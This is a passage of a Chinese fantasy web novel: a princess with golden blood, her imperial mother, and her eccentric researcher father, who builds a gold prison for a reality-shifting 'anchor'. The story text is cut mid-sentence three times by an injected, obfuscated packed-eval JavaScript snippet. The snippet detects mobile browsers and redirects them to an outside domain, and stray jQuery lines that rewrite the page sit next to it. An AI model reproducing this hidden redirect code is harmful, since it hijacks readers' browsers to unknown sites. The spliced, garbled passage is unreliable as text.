而张涵薇很快会变得和西西弗斯一样,她将失去亲自选的姓氏和妹妹给取的名字,成为徘徊在维度缝隙中的潘德莫。
她紧紧拽着西装下摆,阻止自己撕扯衣服的手,沉默地表达自己的态度。
“好吧。”曾经的潘德莫开口询问,“衬衫价格是九磅十五便士吗?”
“是。”新生的潘德莫回答。
属于张涵薇的神经元开始逐节熄灭,最后熄灭的是额叶区,那里存着N7481都不知道的回忆,她和N7482作为胚胎,一同蜷缩在人造子宫中的回忆。
额叶区熄灭,新生的潘德莫转过身,维度缝隙正好坍缩到祂脚下。章语的直播影像在崩塌的时空中定格,她对着不存在的镜头微笑。
新老潘德莫交替完成,维度内霎时间被清空,一红一金的影子先被吐出来,剩余人再被吐出来。
日光在十指脚踝处的指节投下蜈蚣状的阴影。那些粗糙的手指突然痉挛般蜷缩,地面的柏油路发出令人牙酸的摩擦声——祂动了。
朝暮被黄金同化的战靴尚未沾地,锈刀已劈开她鬓角的碎发。十指俯冲的姿态像折断的竹节虫,灰衣下摆翻涌如垂死乌鸦的翅膀。祂腕骨与刀柄连接处渗出褐红黏液,随着挥刀动作拉出蛛丝般的血线。
“锵——”
四无色定与锈刀相接的刹那,十指终于看清朝暮金色的眼睛。那不是人类应有的瞳仁,倒像是塞进眼眶的两颗玻璃弹珠,温暖日光在球面折射出森冷的光晕。十指突然咧开嘴,嘴角几乎撕裂到耳根,露出排列整齐森白的牙齿。
脚踝的十根手指突然呈扇形张开,青灰色指节爆发出诡异的柔韧度。十指整个躯体如同被投石机抛射的石块,以违背人体工学的角度凌空翻转。两柄锈刀划出腥红的螺旋,刀锋擦过朝暮锁骨时,却没有划出应有的血液,而是划出液体黄金。
十指惋惜地说:“真是浪费。”
祂的声带仿佛含着碎瓷片,腕骨发出朽木断裂的脆响,右手锈刀突然脱出三寸——那根本不是劈砍,而是将整条手臂当作机簧弹射。朝暮架住这记突刺,同时将锈刀的上半部分同化成黄金。
脚下十指突然同时抠进地面,柏油路像豆腐般碎裂。十指借着反冲力腾空而起,血色灰衣在风中猎猎作响,两柄锈刀交错成绞刑架的阴影。朝暮全身液化躲过致命一击,却见那些蠕动的脚趾已经插入水泥,十指如同巨型壁虎倒悬在钢筋之间。
“不打了,没意思。”墙上的壁虎如实说道,“今天是什么好日子,竟然诞生了一位我的同族。”
祂望向张涵薇,不,应该叫祂潘德莫的方向,愉快地笑了。
地面上,章语拼尽全力奔向张涵薇,却被神色复杂的灵真拦住。
灵真侧过头,不忍心看这对姐妹,她低声劝阻:“别过去了,她也不希望你过去,祂现在是潘德莫。”
章语放声大哭。
14. 叫导师
潘德莫维度内,朝暮和十指最先受到崩析的影响。
名为“暴君”的能力是一柄双刃剑,黄金域同化敌人的同时,愤怒也在吞噬她。
理智是用来连接现实和人性的最后一根丝线,朝暮苦苦维持着,她像一个单手紧抓丝线,悬吊在陡峭山崖的旅人,随时可能坠入深渊。突然,整个维度亮起刺眼的光,把空间照得如同白昼。
维度的崩析像一场洪水,朝暮被卷入混乱的水流中,等她被浪花打到岸边,只剩下模糊的意识,耳边传来各种各样的声音。
“坍缩停止了,兽人活尸失去活性,十指借机跑了,人也都被吐出来,我们是不是不会死了?”
“潘德莫的崩析和维度缝隙的坍缩产生能量对冲,两种罕见且极端的涨落效应通过自发对称性破缺机制形成了自洽……”
“塞拉,转人工,申请中译中。”
“你们安全了。”塞拉毫无感情的机械女声中硬是掺了一点无奈。
“好耶!”
劫后而生的欢呼声中掺杂着悲恸的哭声:“姐姐!姐姐!”
“拦住她,别让她过去!你姐姐已经死了!”
“这人怎么长得和厉暝一样,身上还有好几个黑窟窿,但不流血,奇怪啊……”
“没死,先关起来吧。”
一片纷乱中,朝暮沉沉睡去,意识游入深海。或许因为刚刚看过阿草的记忆,她竟然梦见父亲还在世时的事。
恍惚间,她的身体不断缩小,沉重的金饰加诸在少女的身躯上,连头发上都缀满纯金的雕花环扣。
她不耐烦地晃了晃脑袋,伸手去摘头顶的金冠,却被一道恭敬柔和的声音打断动作:“殿下是对这顶金冠有什么不满吗?罗斯玛丽,去给殿下拿个新的。殿下,按照行程,今天是您的休息日,您一早就要觐见女皇冕下,如果摘下金冠,恐怕显得不够庄重。让罗斯玛丽为您稍作整理,确保一切完美无瑕,再前往觐见冕下,如何?”
低沉而富有磁性,柔和且动听,是内廷总管丹玛斯的声音。真应该让阿草来听听,说话最能夹的绝对不是他,而是丹玛斯。丹玛斯有种夹惯了的从容,不愧是活了快300年的老吸血鬼。
朝暮,不,她现在是凄辞暮。凄辞暮再一次下意识地将那个人当做阿草,即便她清楚阿草早已死去,沉睡前听见会里的医生说他还活着,让凄辞暮松了口气。
女仆长罗斯玛丽作势要去拿别的金冠,凄辞暮赶紧阻止她:“不用去,就戴这顶吧。”
别的金冠更沉,这顶镂空的光环型头冠勉强能忍。
罗斯玛丽立刻停下脚步,回来整理金冠——无非是将发扣稍微松一点,箍得不那么紧。
丹玛斯恭敬地将凄辞暮送上载具,带她去觐见。
凄辞暮的日程其实很紧,不像阿草想象的那么轻松。她平日需要学习、社交、参与皇室活动,休息日则被安排觐见女皇冕下,当然还要探望父亲。属于她自己的时间少得可怜,所以她总是报复性熬夜,喜欢大晚上带着阿草夜游城堡。
女皇冕下讳名凄凤尹,是黄金王朝的第二任帝王,据说——真的只是据说,她夺得帝位的手段不怎么光彩。但她即位后立刻发动逐兽远征,征服所有远域兽人维度,是位战功赫赫的帝王。她带着俘虏回来后,黄金城没人敢再提以前的事,以至于200多年过去,无人记得当初具体发生什么。
按理来说,这样一位女皇应该是野心勃勃的、强势威严的,她会依照人们的想象,拥有很多皇夫,诞下许多子嗣,把权力牢牢掌控在手里,直到咽气的那一刻。
可是她没有。
她一直对男人不感兴趣,进献的美人只留下几个好看的养着当花瓶,她甚至不愿意夜宿在他们的住处。年近40岁,她才在宫廷大臣颤颤巍巍的请求下同意冷冻卵细胞。她100岁时,有人抱着必死的决心,咬牙提起子嗣的事。
身具黄金血脉的帝王轻轻松松活个400年都没问题,据说开国皇帝300多岁时还能采选新妃。女皇刚100岁,就提子嗣的事,多少有点犯了忌讳,大臣们都等着看那人的笑话,没想到女皇应允了。
然后内廷打开冷冻库,靠人造子宫生下好几个孩子,却都没有黄金血脉,大臣们齐齐傻眼。
黄金血脉是一种极其玄妙的血脉,简直是上天为了皇室设计的。血脉的拥有者靠食用黄金获得控制“黄金”这个概念的能力,他们用黄金重构血肉,用黄金作为武器,在“黄金”的领域拥有神一般的权柄。只有继承黄金血脉的人才能登临帝位,这是世人默认的规则。
宫廷大臣们得到女皇的允许,精挑细选最优质的精/子,小心翼翼请出冷冻的卵细胞,将受/精/卵放进最先进的人造子宫,没有任何环节出错,但就是生不出有黄金血脉的孩子。
女皇对皇夫和子嗣漠不关心,年轻时精力全部放在政事上,近200年过去,她对政事也疲惫了,非大事不过问。要不是她依旧武德充沛,大臣们都要以为她不行了。
某一天,被怀疑“不行”的女皇冕下突然从平面国维度带回来一个名叫储适新的研究员,皇后是当天立的,女皇是当月怀孕的。她极其重视这个孩子,坚持亲自孕育四个月,直到孩子成型,才允许科技手段介入,将孩子送入更适合其生长的全真模拟人造子宫中。
不少人以为女皇要过上母慈女孝夫顺的美好生活,说不定能对政事恢复兴趣,最好再来次像逐兽远征一样的壮举。但事实总是违背人的意愿,女皇冕下先是对储适新失去兴趣,然后对出生的公主很冷淡,起了名字后就不闻不问了,幸好她亲自孕育的孩子继承了黄金血脉,否则大臣们都不知道怎么开口催她再生一个。
那个孩子就是凄辞暮。
说起来可能没人相信,对年幼的凄辞暮来说,最接近“父母”两个字的是内廷总管丹玛斯。这只吸血鬼负责内廷的大小事宜,没人敢把他当成一个单纯的奴隶看待。关于皇储的事,都是由他一手过问,然后上报给女皇。
陪伴凄辞暮的是他,管束凄辞暮的也是他,很多人觉得不合规矩,但不敢提出来。
从小到大,凄辞暮都在休息日这天觐见她的母皇。她到达大殿后,在偏厅遇见了同母异父的妹妹凄毓晓。
“殿下!”晓晓似乎特意在偏殿等她,看起来激动极了。
凄辞暮有好几个同母异父的哥哥姐姐,却只有这一个妹妹。那些哥哥姐姐年纪很大,有人已经头发花白,寿数将近。
凄毓晓的来历也很有意思,她的父亲是某个小维度的贵族之子,来黄金城游玩偶遇女皇,莫名其妙变成皇夫。可是女皇很快从平面国带回来储适新,她父亲的境遇一下子变得艰难。
结果所有人都没想到,这个小贵族竟然敢亲自找到女皇,请求打开冷冻库,赐给他一个孩子,更想不到女皇同意了。
于是就有了凄毓晓,凄辞暮唯一一个同龄的妹妹。
凄毓晓身后不远处站着她父亲,似乎陪晓晓在偏殿等了很久。发
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951810|160626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
现凄辞暮看过来,她父亲立刻回避视线,微微躬身行礼。晓晓撒娇:“殿下!下午和我们一起去狩猎吗?”
“我下午要去看望父亲。”凄辞暮拒绝。
“明天呢?明天一起去吧!”
明天上课,当然去不了,凄辞暮想了想,说:“等我有时间吧,有时间一定陪你去。”
晓晓偷偷瞥了眼父亲,她的父亲还是一派恭敬的样子,垂落的眼睫温顺而柔和,她一时不知道该继续撒娇还是顺着台阶下来,不再纠缠凄辞暮。
凄辞暮其实知道他们想做什么,以晓晓父亲为代表的一群人依附女皇为生,他们既没有职务也没有实权,参与不了政事,空有皇室的名头。那些所谓的王子公主没继承黄金血脉就没有封号,所以即便同为公主,晓晓也必须尊称她为殿下。
他们想趁着女皇还在世,公主还年幼,早早和公主打好关系,为以后做打算。凄辞暮讨厌他们的小心思,但不讨厌晓晓,晓晓是个把所有心思写在脸上的小孩子,虽然只比她小一个月,但总像需要照顾的小妹妹。
凄辞暮温和地说:“下周末晚上叫你来玩,先和你父亲回去吧。”
晓晓欢呼一声,还想拉着她说些趣事,凄辞暮微笑着拒绝:“去吧。”
晓晓的父亲把她拉走了。
凄辞暮直接被带到黄金塔的露台,女皇头戴圣冠,身披用金线勾勒日月图案的钴蓝色外袍,离地三尺悬浮在露台上。
据说女皇年轻时喜欢剑术,尤其爱钻研琐碎的步法,不知道为什么,她上了年纪后连路都懒得走,总要悬浮在空中。但大臣们觉得这样很好,皇室就应该和普通人有差别,于是内廷的礼仪老师要求凄辞暮也飘着走路。
在最想跑跳的年纪,天天被金冠压着,还不能走路,凄辞暮觉得很痛苦。
女皇的代称之所以叫冕下,是因为她头上那顶开国皇帝传下来的纯金圣冠。
圣冠由毫无杂质的纯金制成,没有镂空没有雕花更没有宝石装饰,光是黄金本身堆砌的暴力美学压得人视网膜渗血。
凄辞暮想象不出圣冠如何固定在人的头顶,她总觉得圣冠下似乎有无数金丝像水母的触手般吸食母皇的脑髓。
高台上的女皇转过身,用看不出感情的金色眼眸注视着自己的女儿,钴蓝色的长袍翻涌得像冷焰,金线绣出的繁复日月不断变幻,女皇一言不发。
接下来就是一套熟悉的流程,凄辞暮先单方面汇报这周学了什么,再和女皇一起吃顿黄金做成的美食,表演一场母慈女孝的大戏。
然后女皇终于说出今天的第一句话,也是最后一句话:“去看看你父亲吧。”
凄辞暮得到解脱,开心地向父亲的寝殿出发。
载具刚到门口,寝殿的AI就识别出她的身份,储适新的影像立刻出现在车内的屏幕上。
“小暮啊,你组会又迟到了!”储适新大声说。
凄辞暮委屈:“我没迟到呀,父亲。”
“说了多少遍,不要叫我父亲!我是你导师,叫老师!就算你叫我父亲,我也不会给你这种水平的学生顺利毕业的!你好好想清楚,以你现在的努力程度,毕业真的很难!”
侍立在一旁的丹玛斯用慈爱的、鼓励的、同情的目光看着凄辞暮,如果一定要给他的目光做个翻译,千言万语可以汇成一句话:别跟你那精神病父亲计较。
顶着丹玛斯的目光,凄辞暮深吸一口气,麻木地说:“好的,老师,我会加倍努力的。”
15. 咱俩各论各的
储适新是一个不被承认的精神病人。
因为黄金王朝的皇后不能是精神病,所以储适新不是精神病,即便他的行为和思想有很多异常,即便所有人都觉得他有病。
但凄辞暮觉得他没生病。
他以前是平面国的研究员,专门研究黄金能源与超弦理论。按理来说,研究员这仨字和皇后不沾边,没人知道储适新和尊贵的女皇冕下是怎么认识的,甚至有传言说两人很早就认识了,女皇总是偷偷去平面国和他私会。
平面国是个神奇的维度,智慧生命从名为“地球”的入口经历降维后才能进入平面国,任何生命在该维度的表现形式都是二维几何图形。所以说人们造谣时的想象力可以达到巅峰,他们竟能想象三角形和圆形在平面上偷偷摸摸谈恋爱……
与之配套的说法是凄毓晓的父亲是储适新的替身,连清晰的时间线都编出来了:
女皇爱上储适新但求而不得——平面国私会情人惨遭冷落——见到晓晓父亲发现宛宛类卿——娶晓晓父亲想让储适新吃醋——储适新冷情冷性连醋都不吃——女皇一怒之下强取豪夺。
凄辞暮甚至在某绿色网站偷偷看过他们三个的换头言情小说《替身重生:三角形霸总的金丝雀小圆形娇夫》,该小说严格遵守网站红线,从未发表过有关脖子以下的内容——三角形和圆形根本没有脖子,更没有脖子以下。小说写得有鼻子有眼,如果凄辞暮不是霸道女皇和金丝雀研究员的亲生女儿,她可能就信了。
反正女皇就是喜欢储适新,喜欢到不顾他的意愿将他从平面国带回黄金城,喜欢到建了一座黄金宫给他当研究所,并将他变相软禁在研究所中,不过他本人也不是很想离开,储适新是这么说的:
“给建实验楼,还给批专项基金,简直是我的再生父母啊!我能给她磕一个吗?”
凄辞暮感觉不对,她严肃纠正:“父亲,她是您的妻子,不是您的父母。如果她是您的父母,那我是她的什么呢?”
储适新不高兴:“首先,我不是你父亲,我是你导儿;其次,即使我真是你父亲,我们也可以各论各的两不耽误,你叫她母皇,我叫她再生父母;最后,过年磕头时你不能抢我前面嗷,我得冲上去先磕仨响的,好让她给我报销新器材。”
不愧是平面国的高级研究员,说疯言疯语时都有理有据,逻辑严密,条理清晰。凄辞暮还想说些什么,侍立在一旁的丹玛斯投来慈爱的、鼓励的、同情的目光,翻译过来就是:你让让他吧,他是精神病。
于是凄辞暮只得把尚未出口的话咽下去,变得和她母皇一样沉默。
凄辞暮沉默地独自走下载具,抬头望向黄金宫,这是一座完全由黄金做成的密封型建筑,连空气都需要经过低密度黄金的过滤,人进去更需要消毒,所以储适新不喜欢外人进来——他的学生小暮不算外人。
黄金宫唯一的出入口是一扇保密级别气密门,门外连接一座隔离仓,隔离仓的气密门又连接一座隔离仓,仓外还有一座隔离仓。
想进黄金宫必须经过三层隔离仓,凄辞暮迈入第一层隔离仓,先按照AI的指令穿上防护服。
“为什么要穿防护服?”凄辞暮边穿边问,“以前不穿的。”
储适新的声音从气密门的屏幕中传来:“老吸血鬼跟你妈告状,说我往你身上喷消毒液,把你喷爆皮了。”
“丹玛斯也是好意,不过你别当着他的面叫吸血鬼,他比较小心眼……”
“不叫吸血鬼叫什么?血液成分跨介质交换先驱者?夜行性血红蛋白研究专家?血液中二价铁离子重度依赖症患者?”
“你还是叫他吸血鬼吧,当面记得叫血族。”凄辞暮穿上防护服,消毒液便从四周喷射出来。
高浓度消毒液足足喷了十分钟才结束,凄辞暮推开银色的气密门,进入第二间隔离仓。
“嗤嗤嗤——”
真空泵的阀门自动打开,仓内开始抽取空气。
凄辞暮立刻将自己的体表黄金化,但还是晚了一步,耳朵的鼓膜像被狠狠打了一拳,肺中的空气迅速膨胀,胀得肋骨发疼,她抱怨:“不能提前和我说一声吗?”
“下次一定。”储适新说,“但我得批评你,你都来研究所这么多次了,怎么还不熟悉流程?说明你的心思就没放在研究——”
后面的声音被拦腰截断,真空泵达到临界点,来自外界的空气全被抽干净,隔离仓变成真空状态。紧接着,经低密度黄金过滤的空气被输送进来,等防护服内外压强一致,凄辞暮才敢接触体表的黄金化,推开下一道气密门。
门内空间小到仅供一人站立,黑暗的隔离仓内,某种生物般的粘稠质感沿着防护服攀爬,纳米级拟态黄金慢慢爬满整件防护服,填充防护服和狭窄仓室的剩余空间。
拟态黄金迅速加热,变成岩浆般的红色,随后被液氮冷却,慢吞吞从防护服上爬下去。凄辞暮终于能推开最后一扇气密门,进入黄金宫。
她忍不住问:“到底为什么要夸张地消毒?”
“因为我有洁癖。”储适新理直气壮地回答,连头都懒得抬。
这个问题她问过无数次,每次都得到同样的答案。所有想进黄金宫的人都必须经过三层隔离仓的消毒,连储适新自己都不例外,他的再生父母也不例外。所以他进来后没出去过,黄金宫内也只有他一个活人。
此时此刻,储适新正穿着外骨骼,站在实验台前操作高温喷枪。凄辞暮站在旁边看了一会,发现他在熔金子,纯金在高温下熔化,被外骨骼上的机械手操控锂电磨具打磨成微小且精细的特定形状。
它实在是太小太小了,恐怕只有戴着特殊目镜的储适新才知道他在打磨什么。打磨完毕后,储适新又把灰尘大小的成品焊接在硬币大小的陀螺仪形纯金物体上。
做完这一切,储适新舒出一口气。他转着圈活动僵硬的颈椎,不忘训斥凄辞暮:“没见过你这么没眼力见的学生,导师忙个不停,你就知道站旁边发呆,既不过来学习,也不知道给你导倒杯水,你妈要不是我的再生父母,我绝对不招你。”
从没伺候过人的皇室第一顺位继承人辞暮公主赶紧给他一杯水——从家务机器人手里直接拿的,她根本不知道厨房在哪,更不知道饮用水龙头朝哪个方向开。
凄辞暮好奇极了,她忽略关于“再生父母”的辈分问题,只问自己想问的:“你在焊什么?”
储适新一只手吨吨吨灌水,一只手摘下穿戴式目镜递给他的学生,凄辞暮迫不及待戴上目镜凑到精密仪器前仔细看。
“去去去!离远点看,别给我碰坏了!”储适新一口水没咽下去,边喷水边拦着。
凄辞暮没听见他说什么,连水喷脸上都没管,她完全沉浸在头发丝一样细小的黄金雕刻品中。
该物品是一个正方体,长宽高都只有0.04毫米,由拟态黄金制成。正方体内被雕刻成一个温馨的小房间,正对着凄辞暮的是一扇窗户,透过窗户能看到里面的布局。
暖黄色的壁灯像一枚熟透的柿子悬挂在绿色的墙壁上,布艺沙发上凹陷的褶皱都被雕刻得一清二楚,茶几上的马克杯盛满液体黄金。如果把人等比例缩小放进去,会发现这是一个16平方米的房间,拟态黄金完美模拟出颜色和材质感,只要进去的人不喝杯子里的液体,就完全不会露馅。
“简直是微观世界!”凄辞暮摘下目镜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955398|160626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
惊叹,“以假乱真!”
“你再看一次。”
凄辞暮重新戴好目镜定神看过去,拟态黄金将房间完全换了套装修,白色和黑色取代绿色和黄色,房间变得简单且极致,但每一个细节都模拟得恰到好处。
“两次观测的间隙它产生了变化。”凄辞暮目不转睛地看着,“绝对不是巧合,是我的观测使它停止变化。”
“观测者效应的一种表现形式。”储适新放下水杯,“观测行为本身会对拟态黄金产生影响,将它定型,不观测时它始终处于变化状态。”
“这是新品种的拟态黄金吧?利用观测改变波函数……又能发新论文了,你在学界——”凄辞暮的话戛然而止。
她到今天都没搞明白储适新到底是不是自愿留在黄金城的,但她知道,她的母皇不可能将储适新放回平面国。她怕自己激动之下提起的“学界”二字会唤起储适新在平面国的回忆,那时他肯定比现在自由很多,平面国没有复杂的人际关系,最起码不用应付气泡音老吸血鬼。
谁知储适新对这俩字完全没反应,他傲然道:“我在学界的影响力没法更进一步了,拟态黄金本来就是我发明的。”
他的来源于实力,他在二十二岁时就发明了拟态黄金,那时储适新和范德蒙并称平面国的两大天才,没人猜得到天才最终会变成皇室的金丝雀。
而且,他发明的拟态黄金反而成为他和女皇早就开始私下幽会的佐证,能给他提供大量高纯度黄金作为原材料的只有黄金血脉的拥有者,独一无二的女皇冕下。
不过凄辞暮很快发现,她纯属想得太多情绪太丰富,白白替人难过。很明显,储适新从不多愁善感,也不怀念在平面国自由自在的生活。他现在得意极了,边使劲往咖啡里加肉桂粉,边手舞足蹈唾沫横飞地讲发现新品种拟态黄金的过程,顺便训斥自己唯一的学生:
“……所以说你这种年轻人还有的学,你天天看几篇文章?做几组实验?你必须加把劲,好好鞭策自己,不能再懈怠下去了。说实在的,你妈要不是我的再生父母,我绝对不会收你当学生。不过你今天的表现还凑合吧,十分能打个五分,立刻反应过来是观测者效应……”
凄辞暮面不改色地听着,等他说过瘾了,口干舌燥低头喝水的功夫,问:“论文呢,什么时候发表,我们要不借机回一趟平面国吧?”
“唉,不回去不回去。”储适新连连摆手,“论文也不发,发那个干嘛?”
这话说的就很不储适新,储适新一向以他的研究成果为荣,恨不得全天下都知道他的新发现。凄辞暮狐疑地看着他,储适新神秘地说:“你再仔细看看那个陀螺仪一样的东西。”
凄辞暮重新戴上目镜。
是拟态黄金!无数个新品种拟态黄金被雕刻成一个个0.04毫米的小房间,焊接在一起,组成一个陀螺仪形状的物品!
“这是……什么?”凄辞暮连目镜都不舍得摘,头也不抬地问。
储适新慢悠悠喝了口咖啡:“是一个监狱,也是咱师门的传家宝,我死了传给你,你死了传给你学生,所以你今天必须学会怎么制作它,学不会不许吃饭。”
“监狱?和你不发论文有什么关系?这么大的发明不发论文多可惜。”
“因为我不想让监狱被打开。”储适新放下杯子,“实际上,我的监狱根本没有打开的方法,我也不觉得有人比我聪明,能发明钥匙。但我不想赌这个概率,所以干脆连论文都不发。听好了,你不许把监狱的存在告诉别人,你未来的学生除外。”
凄辞暮摘下目镜,问:“里面要关谁?或者要关什么?它只有硬币大小。”
“锚点。”
16. 自我囚禁
“什么是锚点?”凄辞暮对这个词很陌生。
储适新玩味地笑了,这个表情在他脸上不常见,他要么面无表情,要么得意洋洋,身上总有一股智械体的味儿,很少有人味儿,他说:“望文生义,你觉得是什么?”
“听起来能起到指向作用。”
“差不多。”储适新解释,“锚点通常用在网页制作中,是一个定位器,用户点击链接后,网页跳转到链接指向的锚点位置。”
“修真维度的定向传送阵?”
“别和我提修真,我们谈点科学的。”储适新不耐烦。
“我最近新来的剑术老师是修真维度——”
“也别谈你自己。”储适新打断她,“继续听我讲锚点,你闭嘴,再想说话记得举手,我同意了才能发言。”
凄辞暮乖乖闭嘴,储适新很满意:“你虽然不聪明,但应该能注意到锚点的释义中最重要的三个部分:用户、链接、锚点。在实际的操作中,需要先创建锚点,再设置链接,最后才到用户使用阶段。”
“听完我的讲解,你知道我为什么要把锚点关进监狱吗?”
凄辞暮面无表情地举手。
“……这时候就不用举手了,快说你的回答。”
“不给用户使用。”凄辞暮立刻答道。
“实际上,我要做的事情比那还糟糕。”储适新说,“我要先将锚点集齐,放在用户不想去的地方,再让毫不知情的用户点击链接,将用户骗到那个地方。”
十三岁的凄辞暮懵懂地看着他,她不太习惯隔着防护服面罩看自己的父亲,总觉得他看起来稍显阴沉,她一连串发问:“为什么?锚点有很多个吗?你说的用户是谁?地方又是哪里?”
储适新不答反问:“你还记得上次组会我问你的问题吗?”
当然记得,那是凄辞暮第一次直面血淋淋的问题:随着生产力的发展,奴隶制度早该和皇室一起自然消亡了。
她说:“我思考了整整一周,始终觉得不对劲,难道宇宙中就没有不存在奴隶的维度或者崇尚平等的文明吗?”
储适新被问笑了:“宇宙中有哪个维度不在你妈的统治下?”
没有。
普天之下莫非王土,率土之滨莫非王臣。黄金王朝是这句话的具象化,修真维度十八剑仙也抗不住黄金霞弹炮;科技维度规模最大的项目由皇室提供基金;号称最难控制的灵异维度被前仆后继的冒险者们拿命摸出规律,然后皇家税务官第二天就找上门,揪着一身伤的冒险者和蔼叮嘱税务缴纳规则。
武力、金钱和权力都被集中在顶层,凡是被黄金王朝统治的地方,都有奴隶制的存在,女皇本人才是该制度最大的拥护者。
凄辞暮打了个冷战:“你说的‘用户’不会指我母皇吧?”
“不是,你在想什么?你妈妈很辛苦了,不要把她想得那么坏。”
“我只是觉得奇怪。”凄辞暮想摸下巴,结果摸到防护服的面罩,“很多奴隶被贵族认为好吃懒做,与其买他们不如雇个平民。那么为什么不解放奴隶,把他们变成自由劳动力,让他们有私产有赚钱的动力,从而提高他们产生的经济效益,然后用买他们的钱来雇佣他们呢?”
“贵族没有损失什么,用一样的钱得到了努力干活的人,还不用管他吃饭睡觉治病,反而节省了钱。时间长了,可以向这些新自由民兜售食物和房产,将发给他们的工资赚回来。”
“……你真是……”储适新沉默片刻才说,“算了,这不怪你,你从小接受的教育就是这样。”
凄辞暮坦然地说:“我知道我的想法和你教给我的东西背道而驰,但我一周六天都在学这些,只有周末来和你学一下午,你不能对我抱有太大的期望。”
她转了转眼珠:“除非你能说服我母皇,让我天天和你在黄金宫开组会。”
“不可能,大臣们会把我活撕了。”
凄辞暮悻悻地说:“我站在贵族的角度认为奴隶制度不合理,奴隶们岂不是更觉得不合理,同样是人,为什么贵族就比普通人和奴隶高贵?”
储适新用诡异的目光打量她,问:“你接触过真正的奴隶吗?老吸血鬼那种不算。”
“接触过,我上周刚买一……个奴隶。”她差点说漏嘴,说成刚买一条狗。
“你觉得奴隶们想反抗吗?是,有一些奴隶想反抗,他们想反抗想取代的仅仅是贵族,而不是奴隶制度。即便不做奴隶了,他们也会立刻反过来奴役别人。”
凄辞暮沉默了。
实际上,阿草才是奴隶中的异类,绝对大多数奴隶从出生就是奴隶,绝对不会像阿草一样,乱七八糟地想这么多,他们每天想最多的无非是今天吃什么,怎么偷会懒,晚上多睡会,有一些可能都没有胡思乱想的时间和力气。
但凄辞暮还是隐隐觉得不对劲:“最初的奴隶原本都是些什么人?他们没想过反抗吗?”
她痛苦地捂住脑袋,感受到一种奇怪的违和感,她的思考完全进入死循环。不该存在的、早应被取缔的奴隶制,却好端端存在于世界上,且被不同阶层的人坚定地拥护着。
“简直像是给所有人都植入了奇怪的病毒,让大家的想法都出现问题。”凄辞暮喃喃道,她茫然地问,“难道出问题的其实是我们?想结束奴隶制的我们才是异类?”
储适新不说话,他拉起学生的手,带着她穿过一层又一层气密门,来到黄金宫最高处。
门外是一个极其狭小的房间,凄辞暮感叹:“一层只有一个房间!”
“对,整个房间被极厚的高密度纯金包裹,你看是不是很眼熟?”
正方形房间,有一扇观察窗,没有门,长宽高均4米……
凄辞暮毛骨悚然,和用拟态黄金雕刻出的微观房间一模一样!
她后退两步撞到储适新身上,储适新扶住她的肩膀:“我很想告诉你用户究竟是什么,但我说不出来。我只能浅显地告诉你,它是一切的元凶。黄金是我们唯一的武器,在高密度纯金制成的封闭室内,我才能说这么多。”
“我的母皇……”
“不要太苛责她,她尽力了。”储适新叹气,“但你要做好站在她对立面的准备。”
凄辞暮突然揉了揉眼睛,她不确定地说:“刚刚那个枕头动了一下,对吧?”
她靠近观察窗,视线缓缓从枕头移到马克杯上,杯子又动了一下。
“是锚点。”储适新愉快地说,“我把一个锚点囚禁在黄金宫里。”
“锚点是‘可能性’概念的显化,具体表现为它随时在变换,变换成各种无生命的东西。当它发现自己被你察觉时,它会立刻变成另一个东西并消失在你的视线中。”
“用户拥有整整七个锚点,所有的锚点都具备相同的特性,它们散落在宇宙中,让人很难找到。”
“它们锚定的是——”凄辞暮的舌头被卡住,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957457|160626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
终于体会到储适新提到的“说不出来”是什么感受了,但这侧面证明她想的是对的。
虽然不知道用户是什么,但她能肯定,用户用锚点定位的是他们所在的宇宙,储适新想做的是收集齐七个锚点,把锚点扔出宇宙,诱骗用户点击“链接”,把用户骗出去,阻止用户继续影响全宇宙的人。
凄辞暮突然发现一个有趣的方法,既然用户的身份无法被说出口,那么她可以一个个试。
于是她像报菜名一样飞速说:“我猜用户一定是神。”
没有反应,“神”字被她流畅地说出来,储适新好笑地看着她。
凄辞暮急了:“用户是魔鬼!是邪神!是天使!是许愿瓶!是维度化身!是潘多拉魔盒!是仙人!是魔法师!”
没有反应。
“是小猪!是垃圾!是柠檬汁!是锂电池!是黄金!”
她突然停下来,然后一字一顿地说:“用户是我的母皇,黄金王朝第二代皇帝凄凤尹。”
储适新嘴角抽搐:“你到底在想什么,和你说过不是。不许说你妈坏话,那是我的再生父母,我下一批黄金等她给我运来呢。”
凄辞暮松了口气,能把一句话完整地说出来,说明她的母皇肯定不是“用户”。
“别再试了。”储适新阻止她,“该知道的时候你自然会知道,现在和我回去学怎么制作监狱,等监狱做好了把锚点关进去。”
“你的监狱真的能关住一个概念吗?它是可能性的化身,我无法想象仅靠人力能关住它。”
“这你就不懂了。”得意洋洋的神情回到储适新脸上,“人力关不住,智慧关得住。”
